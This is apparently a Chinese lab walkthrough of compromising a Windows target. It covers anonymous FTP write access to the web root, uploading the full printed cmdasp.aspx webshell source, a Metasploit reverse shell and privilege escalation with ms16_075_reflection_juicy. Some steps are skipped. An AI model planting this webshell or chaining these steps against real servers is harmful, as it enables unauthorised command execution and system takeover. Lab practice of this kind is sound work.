web界面

2.2 ftp匿名登录
端口扫描,看到了可以匿名登录

利用ftp匿名登录,账号ftp,密码没有,直接回车就能连接ftp服务器,发现这个ftp服务器,就是web目录,尝试使用put上传一个file.txt测试文件

访问这个file文件,上传成功!

2.3 获取shell
我们上传一个cmdasp.aspx上去
这个文件kali自带,在 /usr/share/webshells/aspx/cmdasp.aspx
源码如下
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>
<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
<!-- http://michaeldaw.org 04/2007 -->

我们找到这个1.exe,可以使用如下cmd命令进行定位,msf注意监听,即可反弹过来
where /r c:\ shell.exe # 查找在c盘指定文件的位置

2.4 msf内核漏扫
在meteroreter模块中使用bg命令,将这个会话运行在后台,使用本地提权扫描模块,设置好相关的配置

启动扫描,这个靶机有10个提权漏洞

10个提权payload 只有 exploit/windows/local/ms16_075_reflection_juicy这个模块使用成功

往期推荐
THE END















暂无评论内容